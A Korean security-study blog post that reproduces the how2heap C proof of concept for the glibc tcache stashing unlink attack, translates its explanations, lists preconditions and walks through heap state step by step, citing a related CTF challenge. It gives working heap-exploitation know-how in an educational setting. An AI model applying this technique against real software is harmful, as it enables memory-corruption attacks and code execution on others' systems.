tcache stashing unlink attack

728x90

glibc 2.27, 2.29, 2.31에서 테스트 하였음.

 

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;

    setbuf(stdout, NULL);

    printf("This file demonstrates the stashing unlink attack on tcache.\n\n");
    printf("This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.\n\n");
    printf("This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
    printf("The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
    printf("This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

    // stack_var emulate the fake_chunk we want to alloc to
    printf("Stack_var emulates the fake chunk we want to alloc to.\n\n");
    printf("First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

    stack_var[3] = (unsigned long)(&stack_var[2]);

    printf("You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
    printf("Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
    printf("Now we alloc 9 chunks with malloc.\n\n");

    //now we malloc 9 chunks
    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    //put 7 chunks into tcache
    printf("Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }

    printf("As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

    //last tcache bin
    free(chunk_lis[1]);
    //now they are put into unsorted bin
    free(chunk_lis[0]);
    free(chunk_lis[2]);

    //convert into small bin
    printf("Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

    malloc(0xa0);// size > 0x90

    //now 5 tcache bins
    printf("Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

    malloc(0x90);
    malloc(0x90);

    printf("Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

    //change victim->bck
    /*VULNERABILITY*/
    chunk_lis[2][1] = (unsigned long)stack_var;
    /*VULNERABILITY*/

    //trigger the attack
    printf("Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

    calloc(1,0x90);

    printf("Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

    //malloc and return our fake chunk on stack
    target = malloc(0x90);   

    printf("As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);

    assert(target == &stack_var[2]);
    return 0;
}

출처 : https://github.com/shellphish/how2heap/blob/master/glibc_2.31/tcache_stashing_unlink_attack.c

 

shellphish/how2heap

A repository for learning various heap exploitation techniques. - shellphish/how2heap

github.com

This file demonstrates the stashing unlink attack on tcache.

위 파일은 tcache에서 발생하는 Stashing unlink attack을 설명합니다.

 

This poc has been tested on both glibc-2.27, glibc-2.29 and glibc-2.31.

이 POC는 glibc-2.27, glibc-2.29, glibc-2.31에서 테스트 되었습니다.

 

This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc

이 기술은 victim->bk 포인터를 overwrite할 수있을때, 사용 가능합니다. 또한 calloc이 있는 청크를 한 번 이상 할당해야 합니다. 마지막으로 glibc 검사를 우회하려면 쓰기 가능한 주소가 필요합니다.

 

The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.
tcaching libc에 small bin을 넣는 메커니즘은 공격을 시작할 기회를 제공합니다.


This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.

이 기술을 사용하면 원하는 곳에 libc addr를 작성하고 필요한 곳에 가짜 청크를 만들 수 있습니다. 이 경우 스택에 청크를 생성합니다.

Stack_var emulates the fake chunk we want to alloc to.

Stack_var는 할당하려는 가짜 청크를 emulate 합니다.

 

First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.

첫번째로 glibc내에서 bck->fd = bin을 우회하기 위해 fake_chunk->bk에 쓰기가능한 주소를 씁니다.

여기서는 stack_var[2]를 fake bk로 선택합니다.

나중에 우리는 *(fake_chunk->bk + 0x10)를 볼 수 있는데, 이는 stack_var[4] 공격 후 libc addr가 될 것입니다.

 

stack_var[3] = (unsigned long)(&stack_var[2]);

 

You can see the value of fake_chunk->bk is:0x7ffc4779d480
fake_chunk->bk의 값이 0x7ffc4779d480을 볼 수있습니다.


Also, let's see the initial value of stack_var[4]:(nil)

또한 stack_var[4]의 초기 값이 nil임을 볼 수 있습니다.

Now we alloc 9 chunks with malloc.

이제 우리는 malloc을 이용하여 9개의 청크를 할당합니다.

 

Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.

그리고, 우리는 tcache에 넣기 위해 free를 7번 하였습니다. chunk 2에서 chunk 9까지의 일련의 청크를 해제하지 않았습니다. 왜냐하면 unsorted bin옆에 있는 다른 bin이 다른 malloc이후 하나씩 병합되기 때문입니다.

As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.

보시다시피 chunk 1 & [chunk 3, chunk 8]은 tcache bin에, chunk 0 및 chunk 2는 unsorted bin에 들어갑니다.


Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.

이제 우리는 0x90보다 큰 청크를 할당하여 chunk 0과 chunk2를 small bin에 넣습니다.

Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins

그리고 small bins 을 위한 여유공간으로 두 chunk를 할당합니다. 그 후, 우리는 지금 5개의 tcache bin과 2개의 작은 bin을 가지고 있습니다.

 

Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: 0x7ffc4779d470.
이제 victim->bk 포인터를 fake_chunk addr: 0x7fc4779d470으로 덮어쓸 수 있는 취약성을 emulate 합니다.


Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.

마지막으로 0x90 chunk를 calloc으로 할당하여 공격을 트리거합니다. 이전에 해제된 small bin은 사용자에게 반환되고, 다른 bin과 fake_chunk는 tcache bin에 연결됩니다.

Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: 0x55e2270983e0 and the bck->fd has been changed into a libc addr: 0x7f00a7227c70

이제 fake chunk가 tcache bin[0xa0] 목록에 들어갔습니다. fake chunk의 fd 포인터가 다음 free chunk를 가리키고 있습니다: 0x55e2270983e0. bck->fd가 libc addr: 0x7f00a7227c70으로 변경되었습니다.

As you can see, next malloc(0x90) will return the region our fake chunk: 0x7ffc4779d480

보다시피, 다음 malloc(0x90)은 fake chunk를 반환할 것입니다: 0x7fc4779d480

 

----------------------------------------------------------------------------------------------------------------------------------

 

 

전제 조건

1. smallbin에 맞는 크기의 힙을 할당하고 해제할 수 있어야 함.(You can malloc and free the size that fits in a small bin)

2. 1에서 말한 사이즈보다 더 큰 사이즈로 malloc을 하거나 free를 할 수 있어야 함.

3. free 이후 bk를 overwrite할 수 있어야 하거나 fd조작 없이 bk를 rewrite를 쓸 수 있어야 함.

4. You can put an address that does not cause SIGSEGV after the QWORD of the address you want to put in tcache.

 

stack_var[3] = (unsigned long)(&stack_var[2]);

위 코드 실행 후 메모리 값

for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
}

 

malloc 이후

malloc 이후 메모리 구조(위 구조가 9개 붙어있다고 생각하면 됨)

0x90+0x10+0x1 = 0xa1

총 6개의 청크를 해제하였으며, 해당 청크들은 tcache bin으로 들어감(총 tcache bin은 7개까지 들어감)

for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
}

tcache bin 안에서 청크index 3 -> index 4 -> ... index -> index 8을 가리키고 있음.

 

free(chunk_lis[1]); 이후 힙 메모리 구조. fd에 맨 마지막 청크의 주소가 들어감

 

free(chunk_lis[0]) 이후 힙 메모리 구조. 해제한 heap은 tcache가 다 찼기 때문에 unsorted bin으로 들어가고, unsorted bin으로 들어간 힙때문에 fd와 bk에는 main_arena+96의 값이 써진다.(Ubuntu 20.04 기준)

오른쪽 메모리 구조는 idx 0 idx 1의 힙 구조

 

free(chunk_lis[2]); 이후 힙 메모리 구조 및 힙 상태. unsorted bin에 하나의 청크가 더 들어가서 총 2개의 청크가 들어가고, 0x4054d0의 bk(Backword Pointer)에는 이전 값이 쓰여지고, fd(Foward Pointer)에는 chunk_lis[0]의 주소가 들어가게 된다. 오른쪽 사진은 idx 2, idx 3의 메모리 구조

 

malloc(0x10); 이후의 상태. 청크가 하나 더 추가 되었으며, small bin 에 청크가 들어감. 이때 idx 0과 idx 2의 청크가 small bin에 들어가게 된다.

 

malloc(0x90);을 2번 해주는데, 각각 idx 1과 idx 8에 할당을 해주게 된다.

 

할당 이전

할당 이후

 

chunk_lis[2][1] = (unsigned long)stack_var; 을 했을때 레지스터의 변화

 

위 아래의 사진을 비교해보면 쉽게 알 수 있다. idx 2의 bk가 main_arena+96에서 원하는 값으로 변경 되었음을 확인할 수 있다. 0x7ffff7faac70 -> 0x7fff~~de80

 

calloc(1, 0x90)이후 상황. calloc(1, 0x90)을 하였을 때 ,이미 small bin에 있던 청크 하나는 사용자에게 반환되며, 나머지 청크와 fake_chunk는 tcache 청크에 링크

 

그리고 다시 0x90사이즈로 malloc을 하면, 0x7ffffffde90에 청크가 할당되어 원하는 위치에 할당이 가능하게 된다.

 

관련 문제

hitcon2019_one_punch_man

https://github.com/xmzyshypnc/xz_files/tree/master/hitcon2019_one_punch_man

728x90

'Technique' 카테고리의 다른 글

레지스터 종류  (0) 2021.10.02
Heap Spray  (0) 2021.10.01
PIE 디버깅  (0) 2021.07.25
SROP  (0) 2021.07.25
IO_FILE_Vtable overwrite  (0) 2021.07.25